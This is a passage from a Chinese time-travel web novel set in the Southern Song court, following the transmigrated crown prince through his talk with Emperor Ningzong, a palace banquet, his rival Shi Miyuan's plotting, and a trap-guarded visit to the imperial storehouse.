乔行简慌忙答道“:早闻华岳文武全才,是不可多得的国家栋梁,简某早有结识之心,今日便有劳真大人带路了。”说完对着真德秀做出一个请的手势。
宋宇看着这俩政敌,私下里好的却跟一个人似的,心中很是佩服,历史上,这俩人虽同属**,可政见颇不相同。
真德秀就属于那种没钱没粮,也要打,宁可因为北伐国破家亡,也不能因为苟且偷安,而不主动出击。
相反乔行简就属于那种**里的少数派,主张缓图,打得过打,打不过观望,以待天变。
所以朝堂之上几乎每次提到北伐问题,两人就会有一番交锋。宋宇本以为俩人私下里估计也不对付,哪知今日看到这两人几乎上朝下朝都胳膊不离腿的。
宋宇暗自佩服,君子喻于义,小人喻于利,古人诚不欺我。
第二十一回 那年的冬天 宁宗的故事
这古人,尤其是人品端正的那部分人之间的交往,让人很是钦佩。他们似乎有很多东西都能分的很清,国事就是国事,私人之交一点不受打扰。
通俗点讲就是,我对你提出的观点进行批评,不代表我否定你的一切。如果你的人品好到没法说,那我一定要和你交朋友。不然可就吃亏了。
想到这里,宋宇笑着和两人告辞道“:既如此,两位可一同去竑府上,竑虽不能同去,不过府内一众兄弟,定然会替竑好生接待两位。”
两人忙拱手“:谢过殿下,我两人在此告辞。”
宋宇也忙回礼告辞。目送两人远去,才回过头来,看到宁宗还在龙椅上看着自己微笑。
顿时很是疑惑,难道是今日太过刺激,把宁宗皇帝吓傻了?带着这个想法,宋宇弱弱的对着宁宗喊了一声“:父皇,皇儿已无事了。”
宁宗听到宋宇喊自己,这才收起笑意,轻咳一声“:咳!”
随即板起脸对宋宇严肃地问道“:皇儿,这史弥远可是得罪不起的啊!满朝文武,七成都是史弥远的人,就连父皇都要看他的脸色行事。”
宁宗的一番话,让宋宇瞬间想起自己老师当年的那番话“:这个世界上,有钱有权就是铁律,没人能改变,你小小年纪不知轻重,得罪比自己有钱有权的人,纯粹是自不量力。今日得了教训,以后要学会夹着尾巴过日子。别再招摇了。”
是啊,现在的史弥远,跟当年的不良少年,何其相像?甚至有过之而无不余。这样一座大山,真的是自己能得罪得起的吗?
可人生没有回头路,既然已经撕破脸,只能硬抗到底了。想到这,宋宇面色坚毅的回答宁宗“:父皇,自古权臣与皇权便是天敌。二者天生无法和平共处。是故,皇儿与史弥远,早晚必有决胜负的一天。”
宁宗面色越发冰冷“:皇儿糊涂,这史弥远当年为了上位,曾用水火棍砸**韩侂胄。据说韩侂胄脑浆子都被砸出来了。权利的斗争,就是这般血腥残酷,不是你死,便是我活。更何况史弥远的背后可是金国撑腰。若动他,金国与我大宋势必不会善罢甘休。这其中的厉害,你晓得嘛?”
宁宗一番振聋发聩的长篇大论,并未恫吓住宋宇。
只见宋宇不进反退,义正言辞的说道“:父皇,皇儿不怕死,怕的是后世史书骂皇儿是个没骨气的废物。他史弥远若战,那皇儿便与他战到底,鹿死谁手,尚未可知。那金国打来,皇儿就亲自领兵抵挡。大不了与金国玉石俱焚。”
说到这,宋宇突有所感“:
风寒万物绝,
山高通天略。
愿凭气血身,
登顶揽星月。”
宁宗听了宋宇的回答,良久默不作声。不知多久后,笑着站起了身“:嗯,既如此,随朕来吧。”
言毕,宁宗在内侍的搀扶下走出了龙案,背过身去,回过头,微笑着向宋宇伸出了右手,示意宋宇过来。
宋宇看到这个姿势,赶忙三步并作两步,走过去,两只手搭在了宁宗右手上。
宁宗的手掌有些湿热,可见他一直是紧攥拳头,才会如此。
宁宗看宋宇拉住了自己的手,心中欢喜“:走,皇儿,随父皇回宫。”
说完,大踏步拉着宋宇向外走去,一旁的内侍慌忙喊“:圣上,慢些,小心龙体。”
宁宗哈哈大笑“:无碍,拉着我儿的手,朕这心里别提多高兴了,仿佛年轻了好些岁。哈哈哈。”
看着在前面拉着自己快步走的宁宗,宋宇不禁想起了自己的父亲,那是一个异常寒冷的冬天,马上要过年了。
可宋宇一家人却高兴不起来,父亲辛辛苦苦给包工头干了一年,结果年底讨薪,却一个子都没要出来。
家里连过冬的煤都买不起,一家人挤在冰冷的火炕上,父亲一脸惆怅的抽着闷烟,娘则一直喋喋不休的埋怨父亲。
最后父亲被说急了“:有完没完了?小宇就在这听着呢,你让这么小的娃,跟着大人着什么急?”
训斥完母亲,父亲满脸微笑的看着宋宇”:莫听你娘瞎掰活,娘们家事多。走,爹带你去小卖部买糖去。”
宋宇开心的摆了摆小手,被父亲拉着出了门。外面正下着漫天大雪,宋宇趴在父亲背上深一脚浅一脚的踏雪前行。
当时买的什么糖,甚至是买没买,宋宇都记不得了,他只记得父亲的背,真的好温暖。
“:竑儿,你说是不是这个理?”
宁宗惊醒了正在走神的宋宇。宋宇赶紧拿衣袖挡在脸前,偷偷的擦干了泪花。至于宁宗问的啥,宋宇真没听。
不过还是配合的掩面说道“:嗯,是,父皇。”
宁宗并未看到宋宇流泪,依然一路兴高采烈的拉着宋宇向自己的轿子走去。
宋宇一直默不作声的跟在宁宗身后,盯着宁宗的背,他仿佛看到了那个身穿灰布棉袄的老爹,在漫天的大雪里,深一脚浅一脚的拉着自己,兴高采烈的去买糖。
在宁宗快步疾走下,三人不多时就来到了一架装饰豪华的金黄大轿前。
宁宗微笑着拽了拽宋宇得手“:皇儿,走,朕有好些话要和皇儿说。”说着将宋宇拽入轿内。一进轿内,宋宇暗暗赞叹,这可比自己那顶小轿子大多,气派太多了。
光窗口便有五个,左右两侧各两个,轿子后面一个。里面襄龙描凤,玉幔金帷,好不奢华。这要搁后世,怎么也得是林肯级别的吧?
宁宗径直坐在了最里侧。宋宇则顺势坐在宁宗身旁。
没办法,自始至终,宁宗的手就未曾放开过。
都坐定后,宁宗拍了拍宋宇的手,夸奖道“:皇儿今日遇到诸多大事,却始终有条不紊,一一拆招。朕都自叹不如。”说完哈哈大笑。
宋宇赶忙谦虚道“:父皇高看皇儿了,若无父皇暗中相助,皇儿今日怕是便折在此处了。”说完不好意思的低下了头。
宁宗却又像是想起了什么,不禁收起了笑容,露出惆怅之色,长叹一声“:唉!想朕当
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年被朝臣拥戴为帝之时,自知不是做皇帝的料,便百般推辞。哪知‘大妈妈’(宋高宗皇后)硬是将皇袍披在了朕的身上。朕无奈,便做了这一代帝王。可自古靠内宫与权臣而得皇位者,又有几人好过?先是韩侂胄赵汝愚,两党互相争斗。最后韩侂胄技高一筹,流放了赵汝愚,接着韩侂胄大权独揽,执意北伐,朕齿于以侄礼视金国,也是极力赞同。可这韩侂胄争权夺利尚可,排兵布阵,却是一塌糊涂。北伐失利,韩侂胄被史弥远杖死玉津园,朕却直到三日后方知韩侂胄已死,首级早已解赴金国。而史弥远与金国所协商之条件,更是令朕不齿。怎奈何史弥远已得金国信任,朕也动不得他。唉,朕现如今真正是个光杆皇帝啊。”
宋宇看宁宗一股脑说出一大堆自己的心里话,知道这宁宗肯定是心里苦水。便好生劝慰道“:父皇,莫要动气,父皇能将我大宋朝维持成现在这样,已经殊为不易了。”
宁宗欣慰的拍了拍宋宇肩膀“;观今日皇儿朝堂上表现,朕相信,皇儿他日定然会是一代明君。现如今朕已五十有三,只要皇儿有要求,朕自会暗中助皇儿一臂之力,皇儿有何难处,尽管向朕讲来。”
宋宇心中暗喜,自己还真有一件事想要宁宗帮忙,赶忙说道“:父皇,皇儿却有一件事,想要父皇帮忙。”
宁宗反问道“:哦?皇儿有何难处,只管讲来,不过朕可没兵没权,许不得你这些。”
宋宇微笑着看着眼前这位憋屈的皇帝说道“:这件事对父皇说来,简直易如反掌,皇儿想要去我大宋国库之中挑选几样防身的兵器,顺带皇儿想向父皇借些银两。”
宁宗一听宋宇提的条件,哈哈一笑“:皇儿原来是为这事,父皇虽然没兵没权,但这些年省吃俭用,也颇有些积蓄,父皇这里给你一面令牌,皇儿想要什么,尽可去国库支取。”说完从怀里取出一物,递到宋宇手上。
宋宇细细端详,只见令牌通身用黄金铸造,正面书有两字“大内”。背面则是瞄着一条威武金龙。
宋宇高兴地将此令牌放入袖兜。跪下向宁宗谢恩“;多谢父皇赐牌。”
宁宗微笑着将宋宇扶回了座位“:皇儿不必多礼,有此令牌,皇儿可随便出入这皇宫大内的任何地方。等用膳完了以后,父皇安排一位内侍,带着皇儿去国库。
宋宇心里这个高兴啊,大宋国库自己随便去了。这下自己心中的打算有银子做基础了。
高兴的再次谢恩之后。父子俩便拉起了闲话家常。约莫半个小时后,轿子才缓缓落下。
历史人物志:华岳,华岳这个人,性格鲜明,只对事不对人,韩侂胄北伐之前,就曾上言力劝,认为金国主贤臣直,不是北伐良机。韩侂胄迫于无奈收监了他。之后史弥远掌权,他被放出,结果出来以后,又上书痛批史弥远误国,关系到南宋中期发展的两位主要人物,他一个没错过,全批评了。命运的必然性,毫无意外降临在他身上。
第二十二回 家宴凤凰山 相府知深浅
宋宇在宁宗死不放手的拉拽下,出了轿子,左右观望。只见面前一座恢宏的牌楼,上书“凤凰别苑”四字。
宋宇再打眼向四周看去,只见自己立足于一座雄伟的山峰之上,周围云雾飘渺,亭台楼阁若隐若现,仿佛置身于天宫之中。宋宇心中不禁惊呼:自己莫不是进了天庭?
宁宗看宋宇发愣,拽了拽他衣袖,微笑着说道“:走,皇儿。随父皇到这别苑用膳。”
说罢,宁宗在内侍的搀扶下,拉着宋宇一步步向别苑内赶去。
别苑之内,宋宇一直在和宁宗聊天,一直聊了得有一个多小时,才有一名内侍禀报道“;官家,御膳备好了,而且尊官家令,已将皇后娘娘,并今日相助殿下的女子,一并请来了。现在正在门口侯着。”
宁宗对内侍下令“:请皇后进来吧,我们再聊几句,便一并出去用膳。”内侍应命退了出去。
不多时,杨皇后领着今日随行的谢道清和另外一名宫女走了进来。
待走到宁宗跟前,杨皇后微微欠身,行了个宫礼“:妾身见过皇上。”
另外两人跪倒“;奴婢(民女)见过圣上。”
宁宗慌忙将皇后扶起“:皇后不必多礼,朕还要好好谢谢你,今日解了皇儿之围呢。”言毕,宁宗开怀大笑。
宋宇仔细打量这位历史上骄横跋扈,贪权恋势的杨桂芝。只见她头戴珠玉凤冠,身披蓝黄相间的后袍。
面容严厉,不颦不笑。仿佛是一座冰山。倒与历史上的记载吻合。
宁宗拽了拽宋宇得手“:皇儿,还不赶紧谢谢你母后今日解围之恩?”
宋宇赶紧跪倒杨皇后跟前“:竑儿谢过母后。”
哪知话还没说完,杨皇后出言打断道“:皇儿不必如此客气,都是自家人。再者说,这史弥远真是吃了熊心豹子胆,竟然纵子调戏谢家姑娘。简直不把母后放在眼里。母后今日所为,便是明摆着要给他史弥远难看,好让他长长记性,以后收敛点。这大宋,还没姓史!”
看到杨皇后如此说,宋宇咽了口唾沫,这娘们好凶啊,这样的主,自己还是少招惹为妙。
宋宇站起身来,看向了谢道清,谢道清此时也正偷偷瞄着宋宇,看到宋宇看来,谢道清俏脸一红,赶紧用袖子遮住了自己的脸。
宋宇看这丫头脸皮薄,知道今日朝堂之上,她能站出来解释此事,定然是做了很大牺牲。
心中顿觉惭愧,向谢道清一拱手“:竑再次谢过谢姑娘,谢姑娘不顾自己名声,为竑解了此围。大恩大德,没齿难忘。”
谢道清依旧遮面答道“:殿下言重了,本来此事便与殿下毫无关系,全因小女子而起,小女子怎敢眼睁睁看殿下受那不白之冤?与殿下的清白相比,小女子个人的名节实是不值一提。还望殿下莫要耿耿于怀。”
好姑娘啊,宋宇心想。怎的自己前世便没遇上这么通晓事理的女子?是时代的原因吗?还是自己身份的原因?
宋宇这里还在沉思,内侍又过来请示道“;圣上,御膳已准备妥当,还请圣上移步用膳。”
宁宗乐呵呵的说道“:都是自家人,走,陪朕一起去吃个家常便饭。”
言毕,一手拉住宋宇,向外走去。杨皇后紧紧跟随,一行人少时来到了中堂。
众人在侍膳太监的引领下,分座次坐好后,宫里一帮传膳内侍开始了忙碌,一道道佳肴被传膳内侍摆上了餐桌。
宋宇早上便没吃饭,现在看到这么多美味,哈喇子都要流下来了。咽了口唾沫,就等着宁宗下令开吃呢。
什么皇后,美女,宋宇统统没兴趣。和眼前的食物相比,宋宇肯定选择后者。
在宋宇的记忆里,自己就没吃饱过。父母还在时,家里困难,整日稀粥咸菜,等到父母过世了,自己便到叔叔大爷家蹭饭。
好不容易活到了18岁。宋宇终于熬到了可以外出闯荡的年龄。可世态炎凉,人情淡薄。
宋宇努力工作,却始终生活在社会的最底层。
整日吃着路边摊。自己那微薄的薪水,光吃饭,到月底也是所剩无几。
更别说交女朋友,送礼物什么的了。那可是个烧钱的活!
看着眼前的美食,宋宇在心里感谢了老天爷无数遍。
终于宁宗一声令下“;大家也别干坐着了,用膳吧。”
接着立在宁宗一旁的品膳官,在宁宗的授意下,取了几样美食,一一品尝了。
然后又换了一副碗筷,再将刚才所取美食装入盘内。用筷子一块块夹着喂宁宗吃。
宋宇看的是一头黑线,想不到宁宗这么大人了,还要人喂。唉,这宫里的人,还真是与众不同啊。
暗自嘀咕着,宋宇手上不停,快速的取了几样美食,放入嘴中饱腹。
一顿饭下来,宋宇满意的打了个饱嗝,自言自语道“:这顿饭吃的真解气啊。好久没吃过这么饱的饭了。”
周围众人仿佛看怪物似的看着宋宇。宋宇却不管众人何样目光。依旧用手摸着自己圆滚滚的肚皮下食。
宋宇吃饱了,别人可没他这速度,宋宇看着谢道清和皇后两人,十分缓慢的吃相。心想,这俩人若是生在娃多的穷人家,就这吃饭速度,铁定得饿死。
宋宇这边是金汤银碗,珍馐美味。
胡梦昱那边。程保看到宋宇的令牌,不敢怠慢,驱车拉着胡梦昱是一路疾行。
赶到大理寺后,胡梦昱手持令牌,过得一道道查检。最后来到了暗不见天日的大理寺地牢中。
在牢头的带领下,很快找到了华岳。胡梦昱扒着牢门喊了几句,却没有回应,心中暗暗着急,赶紧催促牢头打开牢门。
将手指放在打得满身是血,不知是死是活的华岳脖颈处,试了一下生息。
顿时松了口气“:还好,人还有口气。赶紧的,将华岳放到殿下的马车上。”
丽正门外,此时朝会已散,可却有一人坐在自己的轿内,犹豫自己该去哪。
此人就是大理寺卿薛极。今日朝堂上史弥远那怨毒的眼神
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,可真是吓坏了这位薛大人。
以前散朝后,肯定会毫不犹豫前往史府报道的他,今日却茫然了。
可仔细想想自己的身家性命全都放在了史弥远身上,顿时又将心一横,吩咐轿夫,奔史府而去。
待赶到史府之时,门口早已停满了轿子,薛极不敢耽搁,小步快趋向府内走去。
来得前厅,早已站满了人。史弥远正独自一人坐在太师椅上平静的看着站在门口的薛极。
薛极心领神会,几步走入厅内,向史弥远拱手道“:恩相,属下翩翩来迟,还请恩相赎罪。”
史弥远面无表情的说道“:来了便好,薛大人不必说些个客套话。”
薛极看到史弥远并未怪罪,心里顿时很是欣慰。看来自己没有跟错人。跟着这样的上官,有钱一起赚,有错不过问,这才是自己一生最大的追求啊。
想到此,薛极忙又将今日所想,全都说给了史弥远“:恩相,属下连献三计,都被赵竑一一破解,属下惭愧,不过,属下却有一事想要告知恩相。”
史弥远看薛极一脸惭愧,心中并无怪罪之意,毕竟大家都绑在一条利益线上,一荣俱荣,一损俱损,谁又能怪得了谁?
由是缓缓开口说道“:薛大人,你我同朝为官多年,莫要因本相朝堂上的一番粗鄙话语,耿耿于怀。至于这赵竑,今日也是让本相吃惊不小啊。想不到昔日弹琴弄曲的纨绔子弟,竟有如此城府。是故,错不在薛大人,都是这赵竑隐藏的太深了。”
薛极赶紧顺着此话说道“;恩相,属下想说的也正是此事。”
“:哦?又有妙计?”
薛极并未正面回答,反倒一脸严肃的说道“:恩相,这赵竑心机如此之深,若非我等苦苦相逼,恐怕他会一直隐藏。今日将他逼出,或许是一件好事也说不定。”
史弥远若有所思“:哦?那依薛大人之见,今日反倒是史某赚了便宜?”
薛极皮笑肉不笑的说道“:恩相,属下并非此意。常言道,明枪易躲,暗箭难防。这人最怕的便是知人知面不知心。今日朝堂之上,赵竑锋芒毕露。如此一来,正好让属下看清了其本来面目。恩相,属下这里有一句话要奉劝恩相哪。”
薛极一席话说完,突兀的对着史弥远跪下,满脸痛苦之状的继续说道“:恩相,赵竑之胆识谋略,不在恩相之下啊。若不趁其羽翼未丰,将其铲除。我等数年之后,定然死无葬身之地啊。”
史弥远看到薛极如此表态,不禁倒吸了一口凉气,心想这薛极是不是言过其实了?
这大宋朝兵马钱粮皆在自己手中。就凭他赵竑挂着个太子的虚名,孤家寡人一个,区区数年时间,能翻起多大的浪?
而且自己早已听从郑清之之计,打算宁宗驾崩之后,在矫诏篡立。这薛极该不会是等不及了吧?
如此想着,史弥远试探性的问道“:薛大人,你的意思是,这赵竑能在本相苦心经营十数年的朝堂上,将我等尽皆除去?”
第二十三回 粉红色丝帕 内库的机关
薛极赶紧应声道“:正是如此啊,恩相。恩相可要早下决心,宜早不宜迟。迟则生变。”
此时的史弥远陷入了沉思,其实自己并非是不相信薛极所言。毕竟当年韩侂胄可谓一手遮天吧?
可却被自己一个小小的礼部侍郎给钻了空子,最后惨死收场。权力之争,贵乎以小博大。
左右权衡之下,史弥远缓缓问道“:薛大人,计将安出?”
皇宫一处茅厕中。胡吃海喝了一顿的宋宇,忽感内急,慌慌张张的在宁宗安排的内侍带领下,来到了宫中一处茅厕。
进了茅厕,宋宇转身就要脱衣服蹲坑,刚一回头顿时吓了一跳,大叫出声“:不男不女的,你踏马进错厕所了吧?”
原来一路领着宋宇的内侍,竟然跟着宋宇后边也进了茅房。
进就进吧,还不声不响的站在宋宇身后,直把宋宇吓得大叫出声。
被宋宇呵斥的内侍吓了一跳,甩了甩手拿的一块粉红色丝帕。故作女儿态娇羞的说道“:呦!殿下,瞧您说这话。咱家是特意进来帮殿下您宽衣的。”
宋宇看他这说话的神态,恨不得暴揍他一顿,愤愤然说道“;出去,本殿下不享受这种待遇。门口守着去,本殿下不喊,一个人不许进来。”
内侍看到宋宇生气,并不以为然,说了声“;那咱家便出去了,咱家名叫董宋臣,殿下若有事,直呼咱家小董子便可。”说完走了出去。
宋宇一边解裤腰带,一边想,董宋臣?祸害文天祥那个?这货进宫可够早的啊。
历史上有名的拆东墙补西墙的主。假帝理宗有一次夏天去禁苑赏花,由于没有凉亭而感叹了一声。
这货竟然在当天就给理宗盖了一座凉亭。理宗对他此举是大加赞赏。董宋臣吃到甜头,摸准了理宗的脉门。
在第二次理宗冬季外出,赏梅时,提前便把凉亭盖好,只等着理宗到来。结果,理宗却说他太劳民伤财了。
董宋臣一听,立马解释道,这座凉亭乃是夏天赏荷时那座。特地搬过来的。
理宗听后不怒反喜,又是大加赞赏了一番。殊不知,一拆一盖,其实工程量更大了。
想到这里,宋宇蹲在茅坑上无奈的摇了摇头,这可是记录在正史上,经过美化后的理宗,真实的理宗,那智商,得踏马多低啊?
一泡屎拉完,宋宇在茅厕里看了看,愣是没找到手纸,刚才憋得太急,又没在半路上找个土坷垃什么的。
现在拉完了,突然犯愁了。不过转念一想,门口不是还有个小董子么。于是喊道“:小董子,进来一下。“
董宋臣听到殿下传唤,屁颠屁颠的小跑了进来“:殿下喊咱家有事?”
宋宇一脸坏笑“:小董子啊,把你的丝帕,借本殿下一用。”
董宋臣虽然不解,还是乖乖的将丝帕递了过去。宋宇接过丝帕,一脸享受的擦起了屁股。
这可是宋朝的丝织品啊,不好好享受一下,实在是对不起自己的屁股啊。
董宋臣一脸错愕的说道“:殿下,咱家给您带着上厕纸用的丝绢呢,哎呀,你怎的就不管咱家要呢?那块丝帕,可金贵着呢。咱家一直都是省着用的啊,殿下。”说完一脸委屈的看着宋宇。
宋宇此时已经抽好了裤子,听到董宋臣说带着上厕纸用的丝绢,不好意思的挠了挠头“:额,没事,小董子,改天去本殿下府上,这东西本殿下不缺。”
董宋臣砸吧砸吧嘴,细细的揣摩了下宋宇话里的意思,忽地眉开眼笑,以为宋宇是要拉拢自己,忙在茅厕中叩头道“;多谢殿下赏赐。”
宋宇赶紧摆摆手“:别别别,这可是茅厕啊,要磕头出去磕。”言罢,也不将董宋臣拉起,自己快步走出了茅厕。
出了茅厕,宋宇深吸一口气,四下里看了看,又从怀中取出宁宗送的金黄色的令牌,用手轻轻地抚摸着,美滋滋的自言自语道“;大宋的国库,本殿下来了。”
南宋临安皇城内的一处两层古楼前.宋宇领着董宋臣,在门口拿出了那块金黄的令牌。
门口兵丁看到令牌,不敢怠慢,慌忙前去禀报监管此地的军头。不多时,一个身穿盔甲的将军快步跑了过来“:卑职韩令辉,参见太子殿下。”
宋宇微笑着点点头“:韩将军不必客气,本殿下今日来,是要去库中取几样兵器。另外支取些银两。”
韩令辉跪在地上回答道“:殿下,这库中之物可以随便取,但若要银两,还须去户部支取。”
其实宋宇并不知道这里到底是个什么地方。还以为皇家仓库内什么都能随便取呢“:哦?韩将军,这国库不是银子兵器都有吗?”
韩令辉见宋宇是个外行,忙解释道“:殿下,这里只是皇家内库,存的都是各地进贡之物,以及一些兵甲珍玩。殿下即使有这令牌,也需要去户部签字画押,方才符合流程。”
宋宇挠挠头,抬头看向了牌楼上写的两个字‘内库’。心里顿时犯起了迷糊:宁宗方才还信誓旦旦说,自己存下了银子,随便支取,还以为全都放在了内库,这敢情好,还得再去户部跑一趟。怪麻烦的。
“:韩将军,那本殿下先在这里取了兵器,再去户部一趟吧。”
韩令辉依旧一脸严肃,对旁边两名禁军吩咐了声。便将金牌交还给了宋宇。
宋宇收起金牌,在韩令辉的带领下,走进了内库第一层。其实宋宇这次是带着目的来的。
当年岳飞死后,其生前所用兵器盔甲全都被收进了这南宋皇帝的私库之中。
今日宋宇来,就是为了一睹传说中的沥泉神枪,和岳飞当年所穿的银凌镜铠。
至于别的好东西,只要看的上眼,宋宇肯定会发挥顺手牵羊的优良传统,统统收入囊中。
韩令辉边在前面领路,边给宋宇介绍这内库的详情“:殿下,此楼地上部分为两层,藏的多是当代文人雅士的墨宝,并无珍贵之物。而地下,还有
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两层,第一层藏的可都是咱大宋朝无数年积攒下来的古玩字画,金石玉器。可谓珍贵无比。再往下一层,才是殿下要找的兵器库。只是不知殿下想要何种兵器?卑职或许知道在哪也说不定。”
宋宇一脸微笑,看着这位很会办事的韩将军说道“:多谢将军,本殿下并不会武功,还请问韩将军,像本殿下这般身手,配何种兵器更为合适?”
韩令辉抓了抓头,略一沉思答道“;殿下可曾听闻袖**?”
袖**?宋宇一听这个名字,立马联想到了诸葛连**。相传诸葛亮做袖里剑,可连发二十余支小型**箭。
这宋朝该不会有这种东西吧?想到此,宋宇一脸开心的问道“:袖**可是那藏于袖中,连发二十余矢的机关巧器?”
韩令辉摇了摇头“:回殿下,只能单发,不过虽是单发,此物却携带方便,只要对方未着重甲,可于百步之内取其性命。”
宋宇有点失落,百步?也就是说能射死30余米之内的敌人了。虽然比不上**,但在这个时代,恐怕已经很了不起了。
“:那便有请韩将军带路了。”
韩令辉看宋宇接受了自己的建议,脸上露出喜悦神色,应了声喏,领着宋宇快步来到了地下一层的西南角,一架摆满瓷器与珍玩的木架前。
只见韩令辉将木架上一个白瓷瓶拿开,对着后面露出的木架挡板轻轻敲了两下,然后将手掌在木板上平铺,向右猛的一使劲,赫拉一声,露出了后面的墙壁。以及墙壁上的铜制拉环。
韩令辉轻轻转动拉环,便听得壳滋滋的机关转动声。
原来摆放古物的木架缓缓向右边移去。而木架之后的墙壁竟然缓缓向内打开。细细观之,才知道这竟然是一堵涂了白灰的石门。
只不过由于木架遮挡,看不到其真面目罢了。宋宇看着面前由于石门被打开,而露出的一条通道,心里顿时有几分激动:这次还真是不虚此行啊。
做得如此机关,下面第二层若不放些咱看得上眼的东西,那哪说得过去?
身后突然传来脚步声,宋宇循声看去,就见刚才被韩令辉吩咐走的两个禁军已经回来了,走到近前,两人对着韩令辉一拱手“:韩将军,按您的吩咐,火把已经找来。”
韩令辉依旧一脸严肃“;点火把。”
然后对着宋宇一拱手“:殿下,您跟在属下身后,可要看清楚属下倒底踩的是哪一级台阶,千万别踩错了,若是踩错了,殿下您可就掉进全由利刃铺就的陷阱之内了。”
宋宇听到韩令辉的说辞,不自主的朝黝黑的隧道看去,就见火把光亮照不出三米远,人影摇晃间,分外吓人:这隧道得踏马多长啊?地下二层不是藏兵器的吗?还设陷阱?怕人偷兵器?
宋宇正在向里张望,一旁传来了董宋臣娘们唧唧的声音“:哎呀我的妈呀,如此危险,那咱家可不敢进去,咱家便在这入口等殿下回来吧。”
第二十四回 内库选兵器 五德君子剑
宋宇回过头来看着董宋臣笑着说道“:那小董子你便在上面吧,本殿下从不强人所难。不过你在上面可要给本殿下将此入口看好了,若是有失,到时别怪本殿下问你得罪。”
宋宇说道最后,双目猛然一睁,顿时吓得董宋臣连连说道“;哎呦!殿下您放心,谁个敢给殿下使坏,小董子第一个放不过他。”
宋宇听了她的保证,心里稍安,毕竟这宫内关系复杂,万一这董宋臣早已被史弥远收买,背后给自己一刀子,岂不死得冤枉?
俗话说太阳底下没有新鲜事,防人之心不可无。小心一点,能活得更久。
宋宇叮嘱完董宋臣,转过头看着韩令辉满脸微笑的说道“:还请韩将军头前带路。”说着用右手做了个请的姿势。
韩令辉听到宋宇发话,接过一名禁军已经点燃的火把,小心谨慎地向着通道深处走去。
边走边回头对着宋宇叮嘱“:殿下不用担心,即使您踩错了,只要您在属下的五步之内,属下有信心保得殿下性命。”
宋宇听着韩令辉时不时传来的安慰话语,心中暗暗思量:五步之内?也就是说这位韩将军的身手,可以快过本殿下摔落后两秒的速度了?
那也就是说如果自己在五步之外拔出刀剑,想要韩将军的命时,恐怕尚未冲到其跟前,便已经被放倒了吧?
麻蛋,老祖宗发明的武术,在这冷兵器时代,还真不是吓唬小孩玩的。找个机会,一定要寻个师傅请教几招。强身健体也好,护身自保也罢,多学一点,多一份保障。
宋宇小心翼翼的跟着韩令辉前行,生怕自己一步踩错扑街了。就这样,在韩令辉的带领下,约莫走了五六分钟,终于走出了这条通道。
来到了一片宽敞的空间内,宋宇伸了个懒腰,回头看了看后面那条黑洞洞的通道,暗自咂舌:就这长度,贼人估计九条命都不够死的,除非此人能一直脚不落地,光靠墙壁支撑着身体进来。
不过再身强力壮的贼人,也不可能在如此长度坚持住吧。
“:掌灯。”一旁传来韩令辉的呼喝声。两名禁军不敢耽搁,举着火把快步跑到前面几个支撑整个大厅的石柱前,将石柱上的油灯一一点燃,顿时整个大厅显现在宋宇眼前。
宋宇看着蹿腾的火苗,心中却是一紧,小声问韩令辉道“:韩将军,这大厅如此封闭,若是点着灯火,空气耗尽,我等岂不全都被憋死在此处?”
韩令辉听后哈哈大笑“:殿下,这里虽则看似封闭,却有无数气孔与外界相通。但这气孔在何处,属下却是不知,恐怕只能问当年建设此处的工匠了。”
宋宇一副我懂了的样子点了点头,心想也是:若不留通气的地,那这里不就成了一座陵墓了吗。
再者说,在这湿潮的地下,若不与外界通风,那些个古玩字画,兵甲器械,岂不没几年就腐烂了。
宋宇像是好奇的孩童般,一路问问题,一路点头“:是本殿下杞人忧天了,韩将军,事不宜迟,还请继续带路。”
韩令辉可不敢笑话宋宇没见过世面的样子,要搁前世,估计是个人都敢笑话宋宇。
可今世,恐怕除了宁宗还有史弥远,还真没人敢明着笑话他宋宇了。
韩令辉面对问题多多的宋宇,一直毕恭毕敬的一一解答,“;殿下,这地下二层,藏得多是兵器盔甲,摆放混乱。但有个角落,却珍藏了些名贵的古画书法。属下素闻殿下琴棋书画样样精通,既然到了此处,又有陛下金牌在手,何不在此选几样书画,也不虚此行啊。”
宋宇暗自赞叹韩令辉很会做人:都说盛世古董,乱世金,这大宋内库,随便拿几件古董出去,换个十数万两银子,还不跟玩似的?
自己又何必去户部再跑一趟?想到此,宋宇四处打量起来,只见韩令辉所指的一个地方,摆满了木制储物架。
宋宇双手倒背,沿着一个个的储物架打量起来。木架上所放何物,都用一块木牌标明。
让宋宇搜索起来并不十分困难,只要看木牌上所标名称便可。省去了不少功夫。
就这样边走边看,待宋宇走到一块木牌时,不禁皱起了眉头,自言自语道“:诶?清明上河图?此图不是早在靖康之变时,便被金人掳走了吗?”
韩令辉一直小心翼翼的用火把帮宋宇照明,听到宋宇自言自语,慌忙微笑着答道“:殿下,此图属下知晓来历。”
宋宇疑惑的看着这位武人,要知道古代的武人可都是很专业的,除了习武,别的基本一无所知。
但看面前这位韩将军信誓旦旦的样子,不似狂言。便问道“:还请韩将军明说。”
韩令辉看到宋宇有兴趣,屁颠屁颠的说道“:此图并非真迹,乃是当朝一位画师凭记忆所画。圣上看其工笔颇佳,甚是喜爱,便存于此处。”
宋宇恍然大悟,原来是这么回事。这也算是古代皇帝的自我意淫,借假酒买醉了吧。
似笑非笑地摇了摇头,宋宇继续查找起来,直到走到一个巴掌大的白瓷瓶前时,才停下了脚步。
仔细看了看木牌上所写‘火奴儿’三字,宋宇再次郁闷了,一个瓷瓶,叫什么火奴儿?
便对旁边的韩令辉调侃道“:此物怕是写牌的的官员犯迷糊了吧,一个瓷瓶,竟然叫火奴儿?”
韩令辉听到宋宇问自己,向前两步仔细打量了起来,随后缓缓对宋宇说道“;这物恐怕是属下当差之前便已收录,所以属下也不知为何物。“言罢,韩令辉不好意思的对着宋宇笑了笑。
宋宇听他如此说,知道再问也是白问,干脆一伸手,将这小巧玲珑的瓷瓶拿在了手中。
哪知这瓷瓶被宋宇在半空中这么一晃,传来一阵呼啦啦的声响,宋宇暗自奇怪,怎么的?还是带馅的?
出于好奇,宋宇伸手就要将瓷瓶打开,看看里面究竟放的何物?哪知这瓷瓶的盖子仿佛是长**,宋宇使出
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吃奶的力气,也是纹丝不动。
出于面子,宋宇尝试着左右拧了两下瓷盖,竟然惊奇的发现,这瓷盖竟然暗藏玄机,向左拧时轻松无比,但相反方向却是越拧越吃力。
宋宇暗暗称奇,麻蛋,还是个后世水杯盖类型的瓷盖。这古代的工匠,还真是能造啊。
轻轻地将瓷盖拧开,里面露出的东西顿时让宋宇是哭笑不得。原来这所谓的火奴儿,就是半瓷瓶的火柴。
只不过里面的古代火柴,着实是大的不像话。足有两寸(6.66厘米)长短。
